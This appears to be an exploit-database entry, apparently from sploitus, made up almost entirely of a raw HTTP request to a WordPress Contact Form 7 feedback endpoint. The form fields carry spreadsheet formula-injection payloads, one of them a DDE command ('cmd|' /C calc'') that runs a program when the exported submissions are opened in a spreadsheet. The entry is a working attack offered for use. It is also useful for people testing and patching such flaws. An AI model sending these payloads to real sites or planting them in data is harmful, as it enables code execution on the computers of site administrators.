Share
## https://sploitus.com/exploit?id=WPEX-ID:143CDAFF-C536-4FF9-8D64-C617511DDD48
POST /wp-json/contact-form-7/v1/contact-forms/219/feedback HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------127233189811167375871189751352
Content-Length: 1339
Origin: http://example.com
Connection: close
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7"
219
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_version"
5.3.2
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_locale"
en_US
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_unit_tag"
wpcf7-f219-p1-o1
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_container_post"
1
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="_wpcf7_posted_data_hash"
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-name"
=SUM(1+2)
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-email"
erkgh@jfrif.com
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-subject"
=1+1
-----------------------------127233189811167375871189751352
Content-Disposition: form-data; name="your-message"
;=2+5+cmd|' /C calc'!A1
-----------------------------127233189811167375871189751352--